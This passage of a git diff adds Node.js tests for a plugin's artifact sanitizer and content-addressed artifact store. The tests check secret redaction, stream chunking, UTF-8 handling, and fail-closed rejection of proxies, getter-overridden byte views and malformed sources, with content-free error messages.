assertContentFree(overRawError, root); + + const endlessError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(Buffer.alloc(1, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/endless.txt`, + byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH, + sha256: 'ab'.repeat(32), + }), + source: endlessSource(), + }), + 'artifact_stream_over_cap', + ); + assertContentFree(endlessError, root); + + const declared = rawRefFor(Buffer.alloc(16, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/short.txt`, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: shortSource(16, 4), + }), + 'artifact_length_mismatch', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: emptyStream(), + }), + 'artifact_length_mismatch', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: (async function* grow() { + yield Buffer.alloc(16, 0x61); + yield Buffer.alloc(2, 0x61); + })(), + }), + 'artifact_length_mismatch', + ); + + const streamError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: throwingSource(new Error('secret internals about the host filesystem')), + }), + 'artifact_stream_failed', + ); + assert.equal(streamError.message.includes('secret internals'), false); + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +const INTRINSIC_VIEW_SURFACE_KEYS = ['buffer', 'byteOffset', 'byteLength', 'subarray']; + +function copyView(kind, bytes) { + return kind === 'Buffer' ? Buffer.from(bytes) : Uint8Array.from(bytes); +} + +function dressAccessor(view, key, trap) { + Object.defineProperty(view, key, { + configurable: true, + enumerable: false, + get() { + trap.runs += 1; + throw new Error('attacker getter must never run'); + }, + set() { + trap.runs += 1; + throw new Error('attacker setter must never run'); + }, + }); + return view; +} + +function dressData(view, key) { + const attacker = Buffer.from('ATTACKER_SUBSTITUTED_BYTES\n'); + let value; + if (key === 'buffer') value = attacker.buffer; + else if (key === 'byteOffset') value = 1; + else if (key === 'byteLength') value = 1; + else value = () => attacker; + Object.defineProperty(view, key, { + configurable: true, + enumerable: false, + writable: true, + value, + }); + return view; +} + +async function* streamOf(view) { + yield view; +} + +test('own accessors and data overrides on intrinsic byte views fail closed without traps or substitution', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-buffer.txt`, + }), + source: sample.raw, + }); + const uint8 = Uint8Array.from(sample.raw); + const viaUint8 = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-uint8.txt`, + }), + source: uint8, + }); + assert.equal(viaBuffer.source_digest, digestOf(sample.raw)); + assert.equal(viaUint8.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8.sanitized_digest, viaBuffer.sanitized_digest); + assert.equal(viaBuffer.sanitized_digest, digestOf(sample.sanitized)); + + const viaUint8Stream = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-uint8-stream.txt`, + }), + source: streamOf(Uint8Array.from(sample.raw)), + }); + assert.equal(viaUint8Stream.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8Stream.sanitized_digest, viaBuffer.sanitized_digest); + + let caseIndex = 0; + for (const kind of ['Buffer', 'Uint8Array']) { + for (const key of INTRINSIC_VIEW_SURFACE_KEYS) { + for (const dress of ['accessor', 'data']) { + for (const mode of ['source', 'chunk']) { + caseIndex += 1; + const trap = { runs: 0 }; + const view = copyView(kind, sample.raw); + if (dress === 'accessor') dressAccessor(view, key, trap); + else dressData(view, key); + const expectedCode = mode === 'chunk' + ? 'artifact_stream_invalid_chunk' + : 'artifact_stream_invalid_source'; + const source = mode === 'chunk' ? streamOf(view) : view; + const error = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/override-${caseIndex}.txt`, + }), + source, + }), + expectedCode, + 'source', + ); + assert.equal(trap.runs, 0, `${kind} ${key} ${dress} ${mode} executed a getter`); + assertContentFree(error, root, sample.raw); + assert.equal(error.message.includes('attacker getter'), false); + assert.equal(error.message.includes('ATTACKER_SUBSTITUTED_BYTES'), false); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(error.code, expectedCode); + } + } + } + } + + const substituting = Buffer.from(sample.raw); + let substituteRuns = 0; + Object.defineProperty(substituting, 'byteLength', { + configurable: true, + get() { + substituteRuns += 1; + return 0; + }, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/substituting-byteLength.txt`, + }), + source: substituting, + }), + 'artifact_stream_invalid_source', + 'source', + ); + assert.equal(substituteRuns, 0); + + const report = await store.audit(); + assert.equal(report.artifacts, 6); + assert.equal(report.namespaces.raw.artifacts, 3); + assert.equal(report.namespaces.sanitized.artifacts, 3); + }); +}); + +test('proxy, revoked proxy, subclass, shared buffer, accessor, and arbitrary streams fail closed', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.credentialFormat; + const ref = rawRefFor(sample.raw); + + const { proxy, counts } = countingProxy(sample.raw); + const proxyError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: proxy }), + 'proxy_denied', + ); + assertContentFree(proxyError, root, sample.raw); + assert.equal(trapTotal(counts), 0); + + const { proxy: revoked, revoke } = Proxy.revocable(sample.raw, { + get() { throw new Error('revoked get'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revoked), true); + const revokedError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: revoked }), + 'proxy_denied', + ); + assertContentFree(revokedError, root, sample.raw); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: ref, + source: new SubclassedBytes(sample.raw.byteLength), + }), + 'artifact_stream_invalid_source', + ); + + const shared = new Uint8Array(new SharedArrayBuffer(8)); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: shared }), + 'artifact_stream_invalid_source', + ); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: 'text' }), + 'artifact_stream_invalid_source', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: 42 }), + 'artifact_stream_invalid_source', + ); + + const trapLog = { iteratorGetter: 0 }; + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: accessorIterable(trapLog) }), + 'artifact_stream_invalid_source', + ); + assert.equal(trapLog.iteratorGetter, 0); + + class FakeStream { + async *[Symbol.asyncIterator]() { yield sample.raw; } + } + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: new FakeStream() }), + 'artifact_stream_invalid_source', + ); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: stringChunkSource() }), + 'artifact_stream_invalid_chunk', + ); + + let getterRuns = 0; + const accessorOptions = { + artifact_ref: ref, + source: sample.raw, + }; + Object.defineProperty(accessorOptions, 'source_truncated', { + enumerable: true, + get() { + getterRuns += 1; + return true; + }, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, accessorOptions), + 'accessor_property_denied', + ); + assert.equal(getterRuns, 0); + + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('declared digest mismatch, caller regex, and option hostility fail content-free', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.mixed; + const digestError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { sha256: 'cd'.repeat(32) }), + source: sample.raw, + }), + 'artifact_digest_mismatch', + ); + assertContentFree(digestError, root, sample.raw); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + policy: { regex: /secret/u }, + }), + 'unknown_key', + ); + + const { proxy, counts } = countingProxy(rawRefFor(sample.raw)); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: proxy, source: sample.raw }), + 'proxy_denied', + ); + assert.equal(trapTotal(counts), 0); + + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('idempotent replay, conflict, truncation, and class separation stay truthful', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.github; + const first = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assert.equal(first.complete, false); + assert.equal(first.source_truncated, true); + assert.equal(first.sanitized_digest, digestOf(sample.sanitized)); + assert.deepEqual(first.redaction_counts, sample.counts); + + const replay = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assert.equal(replay.sanitized_digest, first.sanitized_digest); + assert.equal(replay.source_digest, first.source_digest); + assert.equal((await store.verifyArtifact(first.raw_ref)).verified, true); + assert.equal((await store.verifyArtifact(first.sanitized_ref)).verified, true); + + const other = Buffer.from('conflicting sanitizer payload\n'); + const conflict = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(other), + source: other, + }), + 'artifact_content_conflict', + ); + assertContentFree(conflict, root, other); + + const report = await store.audit(); + assert.equal(report.artifacts, 2); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + const projected = JSON.stringify(first); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes('ghs_abcdefghijklmnop'), false); + assert.equal(projected.includes(ARTIFACT_SANITIZER_REPLACEMENT), false); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs new file mode 100644 index 0000000..0cd0d6e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs @@ -0,0 +1,507 @@ +import assert from 'node:assert/strict'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_SANITIZER_ERROR_CODES, + ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES, + ARTIFACT_SANITIZER_OVERLAP_CHARS, + ARTIFACT_SANITIZER_POLICY_ID, + ARTIFACT_SANITIZER_REPLACEMENT, + ARTIFACT_SANITIZER_SCHEMA_ID, + ARTIFACT_SANITIZER_VERSION, + REDACTION_KINDS, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from '../mcp/v3/artifact-sanitizer.mjs'; +import { + ARTIFACT_STORE_SCHEMA_ID, + openArtifactStoreV1, +} from '../mcp/v3/artifact-store.mjs'; +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + byteSplits, + CHILD_A, + CHILD_B, + chunksOf, + digestOf, + makeStoreRoot, + MALFORMED_RAW, + MALFORMED_SANITIZED, + rawRefFor, + removeRoot, + RUN_ID, + SAMPLES, + splitAt, + UNPAIRED_RAW, + UNPAIRED_SANITIZED, +} from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +function assertProvenanceShape(provenance, sample, { sourceTruncated = false } = {}) { + assert.equal(provenance.schema, ARTIFACT_SANITIZER_SCHEMA_ID); + assert.equal(provenance.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + assert.equal(provenance.policy_id, ARTIFACT_SANITIZER_POLICY_ID); + assert.deepEqual(Object.keys(provenance), [ + 'schema', 'sanitizer_version', 'policy_id', 'source_digest', 'source_byte_length', + 'raw_ref', 'sanitized_ref', 'sanitized_digest', 'sanitized_byte_length', + 'redaction_counts', 'complete', 'source_truncated', + ]); + assert.equal(provenance.source_digest, digestOf(sample.raw)); + assert.equal(provenance.source_byte_length, sample.raw.byteLength); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized)); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + assert.deepEqual(provenance.redaction_counts, sample.counts); + assert.equal(provenance.source_truncated, sourceTruncated); + assert.equal(provenance.complete, sourceTruncated !== true); + assert.equal(provenance.raw_ref.artifact_class, 'raw'); + assert.equal(provenance.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(provenance.raw_ref.relative_path, provenance.sanitized_ref.relative_path); + assert.equal(Object.isFrozen(provenance), true); + assert.equal(Object.isFrozen(provenance.sanitized_ref), true); + assert.equal(Object.isFrozen(provenance.redaction_counts), true); +} + +test('the closed vocabulary and version constants are exported frozen', () => { + assert.equal(ARTIFACT_SANITIZER_SCHEMA_ID, 'codex-co-engineer.artifact-sanitizer.v1'); + assert.equal(ARTIFACT_SANITIZER_VERSION, 1); + assert.equal(ARTIFACT_SANITIZER_POLICY_ID, 'codex-co-engineer.artifact-redaction.v1'); + assert.equal(SANITIZER_CONTENT_ENCODING, 'identity'); + assert.equal(ARTIFACT_SANITIZER_REPLACEMENT, '[REDACTED]'); + assert.equal(ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES > 0, true); + assert.equal(ARTIFACT_SANITIZER_OVERLAP_CHARS > 0, true); + assert.deepEqual([...SANITIZER_MEDIA_TYPES], [ + 'application/json', 'application/x-ndjson', 'text/markdown', 'text/plain', + ]); + assert.deepEqual([...REDACTION_KINDS], [ + 'credential_formats', 'bearer_credentials', 'env_assignments', 'url_credentials', 'prompts', + ]); + assert.equal(Object.isFrozen(SANITIZER_MEDIA_TYPES), true); + assert.equal(Object.isFrozen(REDACTION_KINDS), true); + assert.equal(Object.isFrozen(ARTIFACT_SANITIZER_ERROR_CODES), true); + for (const code of [ + 'artifact_stream_over_cap', 'artifact_stream_invalid_source', 'artifact_stream_invalid_chunk', + 'sanitizer_media_type_denied', 'sanitizer_content_encoding_denied', 'sanitizer_empty_output', + ]) { + assert.ok(ARTIFACT_SANITIZER_ERROR_CODES.includes(code), code); + } +}); + +test('a validated buffer source publishes raw and sanitized and returns frozen provenance', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assertProvenanceShape(provenance, sample); + assert.equal(await store.verifyArtifact(provenance.raw_ref).then((v) => v.verified), true); + assert.equal(await store.verifyArtifact(provenance.sanitized_ref).then((v) => v.verified), true); + const projected = JSON.stringify(provenance); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes(path.basename(root)), false); + assert.equal(projected.includes(sample.raw.toString('utf8').trim()), false); + const report = await store.audit(); + assert.equal(report.schema, ARTIFACT_STORE_SCHEMA_ID); + assert.equal(report.artifacts, 2); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + }); +}); + +test('intrinsic Buffer and Uint8Array views keep the same digest; own surface overrides are denied', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/buffer.txt`, + }), + source: sample.raw, + }); + const uint8 = Uint8Array.from(sample.raw); + const viaUint8 = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/uint8.txt`, + }), + source: uint8, + }); + assert.equal(viaBuffer.source_digest, digestOf(sample.raw)); + assert.equal(viaUint8.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8.sanitized_digest, viaBuffer.sanitized_digest); + assertProvenanceShape(viaBuffer, sample); + assertProvenanceShape(viaUint8, sample); + + let getterRuns = 0; + const dressed = Buffer.from(sample.raw); + Object.defineProperty(dressed, 'byteLength', { + configurable: true, + get() { + getterRuns += 1; + throw new Error('attacker getter must never run'); + }, + }); + const dressedError = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/dressed-source.txt`, + }), + source: dressed, + }), + 'artifact_stream_invalid_source', + 'source', + ); + assert.equal(getterRuns, 0); + assert.equal(dressedError.message.includes('attacker getter'), false); + assert.equal(dressedError.message.includes(root), false); + + const attacker = Buffer.from('ATTACKER_SUBSTITUTED_BYTES\n'); + const overridden = Uint8Array.from(sample.raw); + Object.defineProperty(overridden, 'subarray', { + configurable: true, + writable: true, + value() { return attacker; }, + }); + async function* dressedChunk() { yield overridden; } + const chunkError = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/dressed-chunk.txt`, + }), + source: dressedChunk(), + }), + 'artifact_stream_invalid_chunk', + 'source', + ); + assert.equal(chunkError.message.includes('ATTACKER_SUBSTITUTED_BYTES'), false); + const report = await store.audit(); + assert.equal(report.artifacts, 4); + assert.equal(report.namespaces.raw.artifacts, 2); + assert.equal(report.namespaces.sanitized.artifacts, 2); + }); +}); + +test('buffer and bounded async stream sources produce identical sanitized digests', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + const streamRef = rawRefFor(sample.raw, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/artifact.txt`, + }); + const viaStream = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: streamRef, + source: chunksOf(sample.raw, 5), + }); + assert.equal(viaBuffer.sanitized_digest, viaStream.sanitized_digest); + assert.equal(viaBuffer.source_digest, viaStream.source_digest); + assert.deepEqual(viaBuffer.redaction_counts, viaStream.redaction_counts); + assertProvenanceShape(viaBuffer, sample); + assertProvenanceShape(viaStream, sample); + }); +}); + +test('the built-in policy redacts credentials, bearer, env, URL, and prompt forms', async () => { + await withStore(async (store) => { + const cases = [ + ['credentialFormat', SAMPLES.credentialFormat], + ['bearer', SAMPLES.bearer], + ['envAssignment', SAMPLES.envAssignment], + ['urlCredential', SAMPLES.urlCredential], + ['prompt', SAMPLES.prompt], + ['mixed', SAMPLES.mixed], + ['github', SAMPLES.github], + ['aws', SAMPLES.aws], + ['cursorKey', SAMPLES.cursorKey], + ]; + for (const [name, sample] of cases) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/${name}.txt`, + }), + source: sample.raw, + }); + assertProvenanceShape(provenance, sample); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized), name); + } + }); +}); + +test('json and markdown identity-encoded text media types are accepted', async () => { + await withStore(async (store) => { + const sample = SAMPLES.prompt; + for (const mediaType of ['application/json', 'application/x-ndjson', 'text/markdown']) { + const bytes = sample.raw; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(bytes, { + media_type: mediaType, + relative_path: `runs/${RUN_ID}/${CHILD_A}/${mediaType.replace('/', '-')}.txt`, + }), + source: bytes, + }); + assert.equal(provenance.sanitized_ref.media_type, mediaType); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized)); + } + }); +}); + +test('octet-stream and non-identity encodings are refused before publication', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { media_type: 'application/octet-stream' }), + source: sample.raw, + }), + 'sanitizer_media_type_denied', + 'artifact_ref.media_type', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { content_encoding: 'base64' }), + source: sample.raw, + }), + 'sanitizer_content_encoding_denied', + 'artifact_ref.content_encoding', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { artifact_class: 'sanitized' }), + source: sample.raw, + }), + 'unknown_artifact_class', + 'artifact_ref.artifact_class', + ); + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('source_truncated is recorded truthfully and never inferred by clipping', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assertProvenanceShape(provenance, sample, { sourceTruncated: true }); + assert.equal(provenance.complete, false); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + assert.equal(provenance.sanitized_byte_length <= MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, true); + }); +}); + +test('exact same validated ref plus bytes is idempotent; conflicting content is not', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const first = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + const replay = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assert.equal(first.source_digest, replay.source_digest); + assert.equal(first.sanitized_digest, replay.sanitized_digest); + assert.equal(first.sanitized_ref.sha256, replay.sanitized_ref.sha256); + const other = Buffer.from('conflicting sanitizer payload\n'); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(other), + source: other, + }), + 'artifact_content_conflict', + ); + assert.equal((await store.audit()).artifacts, 2); + }); +}); + +test('provenance and denials are content-free', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.credentialFormat; + const error = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { sha256: 'bb'.repeat(32) }), + source: sample.raw, + }), + 'artifact_digest_mismatch', + ); + const message = `${error.message}`; + assert.equal(message.includes(root), false); + assert.equal(message.includes('sk-live-secret'), false); + assert.equal(message.includes('ENOENT'), false); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean.txt`, + }), + source: sample.raw, + }); + const projected = JSON.stringify(provenance); + assert.equal(projected.includes('sk-live-secret'), false); + assert.equal(projected.includes(ARTIFACT_SANITIZER_REPLACEMENT) === false + || projected.includes(sample.raw.toString('utf8')) === false, true); + assert.equal(projected.includes(root), false); + }); +}); + +test('secrets split across a chunk boundary redact to the same bytes and counts', async () => { + await withStore(async (store) => { + const cases = [ + ['credential', SAMPLES.credentialFormat, 9], + ['bearer', SAMPLES.bearer, 20], + ['env', SAMPLES.envAssignment, 16], + ['url', SAMPLES.urlCredential, 18], + ['prompt', SAMPLES.prompt, 12], + ]; + for (const [name, sample, offset] of cases) { + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unsplit-${name}.txt`, + }), + source: sample.raw, + }); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/split-${name}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest, name); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized), name); + assert.deepEqual(provenance.redaction_counts, sample.counts, name); + } + }); +}); + +test('one-byte streams and mixed-policy splits stay deterministic', async () => { + await withStore(async (store) => { + const sample = SAMPLES.mixed; + const viaBytes = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: byteSplits(sample.raw), + }); + assertProvenanceShape(viaBytes, sample); + const viaFive = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/mixed.txt`, + }), + source: chunksOf(sample.raw, 5), + }); + assert.equal(viaFive.sanitized_digest, viaBytes.sanitized_digest); + assert.deepEqual(viaFive.redaction_counts, sample.counts); + }); +}); + +test('astral UTF-8 sequences survive every split without clipping', async () => { + await withStore(async (store) => { + const sample = SAMPLES.astral; + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assertProvenanceShape(unsplit, sample); + for (let offset = 0; offset <= sample.raw.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/astral-${offset}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + } + }); +}); + +test('malformed and unpaired UTF-8 become U+FFFD deterministically', async () => { + await withStore(async (store) => { + const malformed = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW), + source: MALFORMED_RAW, + }); + assert.equal(malformed.sanitized_digest, digestOf(MALFORMED_SANITIZED)); + const malformedSplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/malformed-split.txt`, + }), + source: splitAt(MALFORMED_RAW, 2), + }); + assert.equal(malformedSplit.sanitized_digest, malformed.sanitized_digest); + + const unpaired = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired.txt`, + }), + source: UNPAIRED_RAW, + }); + assert.equal(unpaired.sanitized_digest, digestOf(UNPAIRED_SANITIZED)); + for (let offset = 1; offset < UNPAIRED_RAW.byteLength; offset += 1) { + const split = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired-${offset}.txt`, + }), + source: splitAt(UNPAIRED_RAW, offset), + }); + assert.equal(split.sanitized_digest, unpaired.sanitized_digest); + } + }); +}); + +test('unknown option keys and missing required keys fail closed', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + regex: /secret/u, + }), + 'unknown_key', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + source: sample.raw, + }), + 'missing_key', + 'options.artifact_ref', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + }), + 'missing_key', + 'options.source', + ); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs new file mode 100644 index 0000000..cfa4ab5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs @@ -0,0 +1,723 @@ +import assert from 'node:assert/strict'; +import { constants as fsConstants } from 'node:fs'; +import { chmodSync, mkdtempSync, mkdirSync, readFileSync, renameSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'; +import { chmod, link, rm, symlink, unlink } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_STORE_META_SUFFIX, + auditArtifactStoreV1, + MAX_ARTIFACT_STORE_AUDIT_FILES, + MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, + MAX_ARTIFACT_STORE_META_BYTES, + openArtifactStoreV1, + verifyStoredArtifactsV1, +} from '../mcp/v3/artifact-store.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + accessorIterable, + chunksOf, + digestOf, + emptyStream, + makeStoreRoot, + refFor, + removeRoot, + sabotagingSource, + shortSource, + stringChunkSource, + SubclassedBytes, + throwingSource, +} from './fixtures/r1-artifact-store-fixtures.mjs'; +import { countingProxy } from './fixtures/r1-artifact-fixtures.mjs'; + +const PAYLOAD = Buffer.from('adversarial payload with distinctive bytes\n'); +const BASE_REF = refFor(PAYLOAD); + +const isWindows = process.platform === 'win32'; + +async function expectCode(action, code) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + assert.equal(message.includes(bytes.toString('utf8').trim()), false, 'error echoed artifact bytes'); + } +} + +async function freshStore() { + const root = makeStoreRoot(); + const store = await openArtifactStoreV1({ root }); + return { root, store }; +} + +async function closeAndReopen(root) { + const reopened = await 